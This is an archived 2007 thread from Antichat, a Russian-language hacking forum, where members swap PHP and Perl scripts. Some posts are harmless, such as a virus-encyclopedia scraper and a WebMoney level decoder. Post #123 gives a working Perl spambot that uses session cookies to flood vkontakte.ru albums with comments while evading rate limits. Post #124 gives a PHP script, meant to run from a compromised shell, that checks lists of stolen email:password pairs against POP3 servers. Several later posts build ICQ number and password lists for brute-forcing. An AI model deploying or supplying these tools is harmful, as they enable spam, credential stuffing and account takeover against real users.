ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование_OLD > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #121  
Старый 17.07.2007, 01:13
Hormold
Banned
Регистрация: 26.06.2007
Сообщений: 49
Провел на форуме:
217718

Репутация: 8
По умолчанию

NOmeR1,
Помоги переделать под это: http://www.viruslist.com/ru/search?VN=
У меня нифига неработает
Вот то-что я сделал:
PHP код:
<? 
if($_GET['virus']) 
{
$file file_get_contents("http://www.viruslist.com/ru/search?VN=".$_GET['virus']);
preg_match_all'/<table cellspacing=0 cellpadding=0 width=100% height=100% border=0>(.*)<\td colspan=3 height=20><\/td><\/tr>/isU' $file$out);
echo 
$out[0][0];
}else{ 
?> 
<title>Virus Lab</title> 
<form style="width:180px;" method=get style='width:200px;'> 
Virus: <input type='text' name='virus'><br>Example, <b>Virus.Win32.Gpcode.ai</b>.<br><br> 
<center><input type='submit'></center> 
</form> 
<?}?>
 

  #122  
Старый 17.07.2007, 01:43
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
Провел на форуме:
19975136

Репутация: 4536


Отправить сообщение для GreenBear с помощью ICQ
По умолчанию

PHP код:
<?
if($_GET['virus'])
{
$file file_get_contents("http://www.viruslist.com/ru/search?VN=".$_GET['virus']);
preg_match'/\<\/a\>\<\/b\>\<\/td\>\<\/table\>(.*)\<table(.*?)/is' $file$out);
echo 
$out[1];
}else{
?>
<title>Virus Lab</title>
<form style="width:180px;" method=get style='width:200px;'>
Virus: <input type='text' name='virus'><br>Example, <b>Virus.Win32.Gpcode.ai</b>.<br><br>
<center><input type='submit'></center>
</form>
<?}?>
 

  #123  
Старый 18.07.2007, 21:25
C!klodoL
Постоянный
Регистрация: 05.06.2007
Сообщений: 335
Провел на форуме:
4319431

Репутация: 677
По умолчанию

написал скрипт спамера для сайта vkontakte.ru, так как тас одного акка не отправить более 200 сообщений в сутки, то спамим альбомы, на комментарии к которым нет никаких ограничений, спамит камментом каждую фотку в альбоме, можно изменить чтобы спамил только одну
Код:
#!/usr/bin/perl
########################
# vkontakte.ru spamer
# C!klodoL
########################
#текст сообщения;
$text = 'Превед';
#хост прокси
$host = 'localhost';
#порт прокси
$port = '8118';
#id альбома с которого начать
$start = 1000;
#куки, remixpass= хэш пароля, remixmid= id, remixemail= мыло 
$cookie = 'remixedu=0; remixpass=0decadac4aded48a704dfzebadc3ac9; remixfriendsCommon=1; remixmid=1000; remixemail=FljcqdXXDx%40narod.ru; remixgroups=1; remixchk=2';

$text =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
while(1){
system("cls ; clear");
use IO::Socket;
$sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"$port");
   print $sock "GET http://vkontakte.ru/photos.php?act=album&id=$start HTTP/1.0\r\n";
   print $sock "Host: vkontakte.ru\r\n";
   print $sock "Accept: */*\r\n";
   print $sock "Content-Type: application/x-www-form-urlencoded\r\n";
   print $sock "Referer: http://vkontakte.ru/\r\n";
   print $sock "User-Agent: Internet Explorer 6.0\r\n";
   print $sock "Cookie: $cookie\r\n";
   print $sock "Connection: close\r\n\r\n";
   
   while ($html=<$sock>){
   if ($html=~/photos.php\?act=show&id/gi){
   $html=~m/(\d+)/g;
   $photoid=$1;
   push @idents, $photoid;
   }}
   close ($sock);
 print "@idents\n";  
$mas = @idents; #количество ид фоток в массиве

while($mas > 0){
	$foto_id = "@idents[$co]";   
	$uri = "id=$foto_id&act=post&comment=$text";
	
$sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"$port");
   print $sock "POST http://vkontakte.ru/photos.php HTTP/1.1\r\n";
   print $sock "Host: vkontakte.ru\r\n";
   print $sock "Accept: */*\r\n";
   print $sock "Content-Type: application/x-www-form-urlencoded\r\n";
   print $sock "Content-Length: ".length($uri)."\r\n";
   print $sock "Referer: Referer: http://vkontakte.ru/\r\n";
   print $sock "User-Agent: Internet Explorer 6.0\r\n";
   print $sock "Cookie: $cookie\r\n";
   print $sock "Connection: close\r\n\r\n$uri";
   while(<$sock>){print <$sock>};
   close ($sock);
$co++;
last if ($co > $mas);
print "Comment foto $foto_id\n";
 sleep(2);
	}
$start++;
@idents=();
$co=0;
print "Album number $start is commented\n";
sleep(2);
}
 

  #124  
Старый 18.07.2007, 21:49
Shram-spb
Познающий
Регистрация: 06.06.2007
Сообщений: 83
Провел на форуме:
404154

Репутация: 140
Отправить сообщение для Shram-spb с помощью ICQ
По умолчанию

Скрипт для чеканья мыла на валидность...
на входе mail.txt: user@host.ex:пароль
Чекает mail.ru, rambler.ru, yandex.ru, list.ru, bk.ru ... и многие другие, где pop сервер лежит по адресу pop.host.ex:110
На выходе в директории скрипта лежит ok.mail и err.mail

PHP код:
//////////////////////////////////////////////////////////
//                            //
//    Скрипт для чеканья мыла на валидность!        //  
//    Заливаем на Shell скрипт и файл mail.txt     //
//    Формат mail.txt  mail@host.ex:password        //
//      Чекает только мыла, у которых pop3 сервер    //
//    располжен на pop.host.ex:110            //
//      На выходе создаются 2 файла:            //
//         ok.mail и err.mail             //
//                Created by 5hr4M...    //
//                            //
//////////////////////////////////////////////////////////
<?php
error_reporting
(0);
$in=fopen("mail.txt","r");
if(!
$in) {
    echo 
"mail.txt not found...<br>";
    exit();
  }
  while(!
feof($in)) 
   {    
    
$host='';
     
$str='';
    
$user='';
    
$pass='';
    
$str=fgets($in,128);
        
$pos[1]=strpos($str,'@'); 
    
$pos[2]=strpos($str,':');
        
$host='pop.'.substr($str,$pos[1]+1,$pos[2]-$pos[1]-1);
    
$pos[3]=strpos($host,' ');
        if (
$pos[3]) $host=substr($host,0,$pos[3]);
        
$user=substr($str,0,$pos[1]);
        
$pass=substr($str,$pos[2]+1);
       
connect ($host,$user,$pass); 
   }
echo 
"End<br>";
fclose($in); 

function 
connect($host,$user,$pass){
$fp fsockopen($host110, &$errno, &$errstr30);
fputs($fp,"USER $user\n");
$resp=fgets($fp,1024);
 if (
$resp[0]=='+')
     {
        
fputs($fp,"PASS $pass\n");
        
$resp=fgets($fp,1024);
         if (
$resp[0]=='+')
                 {
                @
$out=fopen("ok.mail","a");
                  
$mg=$user '@' substr($host,4). ':' $pass;
                  echo 
$mg.'<br>';
                @
fputs($out,$mg);
                @
fclose($out);
                 }else
                {
        
//        echo 'Pass failure';
                
@$out=fopen("err.mail","a");
                  
$mg=$user '@' substr($host,4). ':' $pass;
                  @
fputs($out,$mg);
                @
fclose($out);
                }

     }else
    {
        
//echo 'User failure';
                
@$out=fopen("err.mail","a");
                  
$mg=$user '@' substr($host,4). ':' $pass;
                  @
fputs($out,$mg);
                @
fclose($out);
    }
 
fputs($fp,"QUIT\n");
 
$resp=fgets($fp,1024);
fclose($fp);
}
?>
 

  #125  
Старый 18.07.2007, 22:53
alextoun
Постоянный
Регистрация: 07.05.2006
Сообщений: 732
Провел на форуме:
7910701

Репутация: 811


Отправить сообщение для alextoun с помощью ICQ
По умолчанию

Цитата:
#! /usr/bin/perl -w
system("color A");
print @q= (1..1000000);
print @x= (1..1000000);
print @z= (1..1000000);
print @d= (1..1000000);
матрица на перле
:d
 

  #126  
Старый 19.07.2007, 22:48
Hormold
Banned
Регистрация: 26.06.2007
Сообщений: 49
Провел на форуме:
217718

Репутация: 8
По умолчанию

Генератор uin;pass:
PHP код:
<?
if(!empty($_GET["pass"]) && $_GET["uin_start"] && $_GET["uin_end"])
{
    
$uin1=$_GET["uin_start"];
    
$uin2=$_GET["uin_end"];
    
$pass=$_GET["pass"];
    echo 
$uin_start.";".$pass."<br>";
for (
$i 0$i <= $uin2-2$i++) 
    {
    
$uin_start++;
    echo 
$uin_start.";".$pass."<BR>";
     }
}
else{
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Uin;pass generator! </title>
</head>

<body><center>
<table width="350" height="288" border="0">
  <tr>
    <td height="56"><center>
      Uin;pass generator! 
    </center>
    </td>
  </tr>
  <tr>
    <td><center>
      <form method="get" action="?">
        <p><fieldset><legend>Настройка</legend>Начальный номер: 
          <input type="text" name="uin_start" />
        </p>
        <p>Конечный номер:
          <input type="text" name="uin_end" />
</p>
        <p>Пароль:
          <input type="text" name="pass" />
        </p>
                <p>
          <input type="submit" value="Генирировать" />
        </fieldset></p>
      </form>
    </center>
    </td>
  </tr>
</table>
</center>
</body>
</html>
<?
}
?>
 

  #127  
Старый 20.07.2007, 01:25
Dagon
Познающий
Регистрация: 27.03.2006
Сообщений: 86
Провел на форуме:
972602

Репутация: 52
По умолчанию

писал по просьбе знакомого.
скрипт выдает webmoney BL в текстовом виде. (переводит БЛ-картинку в цифру)


PHP код:

<?
// запрос к скрипту  - index.php?id=838229434718
             
function itfalse($x)
          {
              global 
$se;        $ok=0;
             for (
$j 3$j 15$j++)
               {
                   if (
$se[$x][$j] == 40)   { $ok++; }
               }     return 
$ok;

          }
          function 
iscount2($x,$y)
          {
           if ((
$x == 7) and ($y == 7)) { return 0; }
           if ((
$x == 1) and ($y == 0)) { return 1; }
           if ((
$x == 3) )  { return 2; }
           if ((
$x == 2) and ($y == 6)) { return 3; }
           if ((
$x == 2) and ($y == 1))  { return 4; }
           if ((
$x == 6) and ($y == 5))  { return 5; }
           if ((
$x == 7) and ($y == 4))  { return 6; }
           if ((
$x == 1) and ($y == 2))  { return 7; }
           if ((
$x == 6) and ($y == 6))  { return 8; }

           if ((
$x == 4))  { return 9; }
          }
                    function 
iscount($x,$y)  //1 2 digit
          
{
           if ( (
$x == 1) and ($y == 0) )  { return 1; }
           if ((
$x == 5) and ($y == 4)) { return 2; }
           if ((
$x == 2) and ($y == 7)) { return 3; }
           if ((
$x == 2) and ($y == 10))  { return 4; }
           if ((
$x == 7) and ($y == 5)) { return 5; }
           if ((
$x == 8) and ($y == 5))  { return 6; }
              if ((
$x == 1) and ($y == 3))  { return 7; }
           if ((
$x == 7) and ($y == 7))  { return 8; }
           if ((
$x == 5) and ($y == 8))  { return 9; }
            if ((
$x == 8) and ($y == 8))  { return 0; }

          }

                       
$wmid file_get_contents('http://stats.wmtransfer.com/Levels/pWMIDLevel.aspx?wmid='.$_GET['id'].'&w=35&h=18&bg=0XDBE2E9');
    
$img imagecreatefromstring($wmid);
    for (
$i 4$i 35$i++)
{
for (
$j 3$j 15$j++)
{
$se[$i][$j] = (imagecolorat ($img$i$j));
         }
          }
          
$is false;
          
$w '';

               if ( (
itfalse(4) ==) and (itfalse(5) ==) and (itfalse(6) ==) and (itfalse(7) ==) and (itfalse(8) == )  )
             {
               
$is true;
               
$w='no';
             }

          if (!( 
itfalse(18) or itfalse(20) or itfalse(19) or ($is) ) )
          {
               
//one digit

                   
$p1 =  itfalse(23,$se);
                   
$p2 =   itfalse(28,$se);
                   
$w = (iscount($p1$p2));
                   
$is true;
          }

          if ( ! ( 
itfalse(13) or itfalse(14) or itfalse(12) or ($is)  )   )
          {
               
//two digit

                   
$p1 =  itfalse(17,$se);
                   
$p2 =   itfalse(22,$se);
                   
$w = (iscount($p1$p2));

                  
$p1 =  itfalse(25,$se);
                   
$p2 =   itfalse(30,$se);
                   
$w .= (iscount($p1$p2));
                   
$is true;
          }

           if (!( 
itfalse(7) or itfalse(8) or itfalse(6) or ($is) ) )
          {

               
//tree digit
                    
$p1 itfalse(11,$se);
                   
$p2 =  itfalse(16,$se);
                  
$w  = (iscount2($p1$p2));

                  
$p1 =  itfalse(18,$se);
                   
$p2 =  itfalse(23,$se);
                   
$w.=(iscount2($p1$p2));

                   
$p1 =  itfalse(25,$se);
                   
$p2 =  itfalse(30,$se);
                   
$w.= (iscount2($p1$p2));
                    
$is true;
          }
          if (
$is == false)
          {

              
$p1 itfalse(6,$se);
                   
$p2 =  itfalse(11,$se);
                   
$w = (iscount2($p1$p2));

                   
$p1 itfalse(13,$se);
                   
$p2 =  itfalse(18,$se);
                   
$w.= (iscount2($p1$p2));

                   
$p1 itfalse(20,$se);
                   
$p2 =  itfalse(25,$se);
                   
$w.= (iscount2($p1$p2));

                   
$p1 itfalse(27,$se);
                   
$p2 =  itfalse(32,$se);
                   
$w.= (iscount2($p1$p2));
          }
          echo(
$w);
?>
 

  #128  
Старый 20.07.2007, 02:06
Ch3ck
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
Провел на форуме:
5301021

Репутация: 1879


По умолчанию

Цитата:
Генератор uin;pass:
Во-первых: беспонт.
Во-вторых: Надо сразу записывать в файл. Нах обычный вывод?
Вот написал (без html'я) - работает как обычный генератор uin;pass.
PHP код:
<?php
set_time_limit
(0);
$nach '10000';
$kon =  '10020';
$fp=fopen('rezult.txt''w+'); // результативный файл вида uin;pass
$pass_file=file('pass.txt'); // файл с паролями
for($i=$nach$i<$kon$i++)
foreach (
$pass_file AS $one_pass)
{
$v=str_replace("\r",'',$v);
$v=str_replace("\n",'',$v);
$uin_pass=$i.";".$one_pass;
fwrite($fp,$uin_pass);
}
fclose($fp);
echo(
'DONE');
?>

Последний раз редактировалось BlackLogic; 20.07.2007 в 11:56..
 

  #129  
Старый 20.07.2007, 03:38
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме:
16641028

Репутация: 2371


По умолчанию

Генератор диапазона номеров
PHP код:
<?php

    set_time_limit
(0);
    
$file 'uins.txt';

    
$from $_POST['from'];
    
$to $_POST['to'];

    if(
$_POST['button'])
    {
        for(
$uins $from$uins <= $to$uins++)
        {
            
$gen fopen($file'ab');
            
fwrite($gen$uins."\r\n");
            
fclose($gen);
        }
        
$msg "Список успешно создан";
    }
?>
Введите диапазон ICQ номеров
<form method="post">
От <input name="from" value="111"/><br/><br/>
До <input name="to" value="222"/><br/>
<input type="submit" name="button" value="Создать список"/>
</form>
<?php echo $msg ?>
GrAmOzEkA, генератор случайных паролей

PHP код:
function mkey($len 8$type 'ALNUM')
    {
         
$alpha = array('a''b''c''d''e''f''g''h''i''j''k''l''m',
                       
'n''o''p''q''r''s''t''u''v''w''x''y''z');

        
$ALPHA = array('A''B''C''D''E''F''G''H''I''J''K''L''M',
                         
'N''O''P''Q''R''S''T''U''V''W''X''Y''Z');

        
$num = array('1''2''3''4''5''6''7''8''9''0');

        
$simv = array('!''@''#''$''%''^''&''*''('')''-''_''=''+''[',
                        
']''{''}''?''<''>');

        
$keyVals = array();

        
$key = array();

        switch (
$type)
        {
            case 
'lower' :
                
$keyVals $alpha;
                break;
            case 
'upper' :
                
$keyVals $ALPHA;
                break;
            case 
'numeric' :
                
$keyVals $num;
                break;
            case 
'ALPHA' :
                
$keyVals array_merge($alpha$ALPHA);
                break;
            case 
'ALNUM' :
                
$keyVals array_merge($alpha$ALPHA$num$simv);
                break;
        }

        for(
$i 0$i <= $len-1$i++)
        {
            
$r rand(0,count($keyVals)-1);
            
$key[$i] = $keyVals[$r];
        }

        return 
join(""$key);
    } 
 

  #130  
Старый 20.07.2007, 14:17
Hormold
Banned
Регистрация: 26.06.2007
Сообщений: 49
Провел на форуме:
217718

Репутация: 8
По умолчанию

Isis, вот.
Подправил:
PHP код:
<?php

    set_time_limit
(0);
    
$file 'uins.txt';
if(!empty(
$_POST["from"]) && $_POST["to"]) 

    
$from $_POST['from'];
    
$to $_POST['to'];

    if(
$_POST['button'])
    {
        for(
$uins $from$uins <= $to$uins++)
        {
            
$gen fopen($file'ab');
            
fwrite($gen$uins."\r\n");
            
fclose($gen);
        }
    }
    echo
"Список успешно создан"
}
else {
?>
Введите диапазон ICQ номеров
<form method="post">
От <input name="from" value="111"/><br/><br/>
До <input name="to" value="222"/><br/>
<input type="submit" name="button" value="Создать список"/>
</form>
<br/><br/>
Все сохранится в файл uins.txt !!!<br/><br/><br/>(c) 2007 by Isis
<?
}
?>
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ